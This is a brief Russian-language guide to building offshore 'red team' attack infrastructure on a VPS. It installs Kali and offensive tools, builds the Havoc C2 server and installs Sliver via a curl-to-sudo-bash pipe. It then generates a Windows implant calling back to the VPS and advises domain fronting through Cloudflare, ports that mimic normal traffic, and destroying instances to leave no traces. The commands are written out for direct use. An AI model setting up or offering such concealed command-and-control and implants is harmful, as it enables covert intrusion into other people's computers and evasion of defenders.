VPS для пентеста: red team инфраструктура offshore

# Установка Kali Linux (если Ubuntu базовая)
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -
apt update && apt install -y kali-linux-headless

# Или выбрать Kali при заказе VPS
# Kali 2024.x с доступом по SSH

# Установка основных инструментов
apt install -y metasploit-framework nmap sqlmap burpsuite   aircrack-ng hydra john hashcat gobuster

Каждый engagement на отдельном VPS. После завершения - полная очистка или уничтожение инстанса. Никаких следов на основной инфраструктуре.

# Havoc Framework C2
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build && make client-build

# Настройка listener
# Порты: 443, 80, 8443 (выглядят как легитимный трафик)
# Domain fronting через Cloudflare для скрытия C2 адреса

# Sliver C2 Framework (Go-based)
curl https://sliver.sh/install|sudo bash
sliver
> generate --mtls your-vps-ip:443 --os windows --format exe
> mtls --lport 443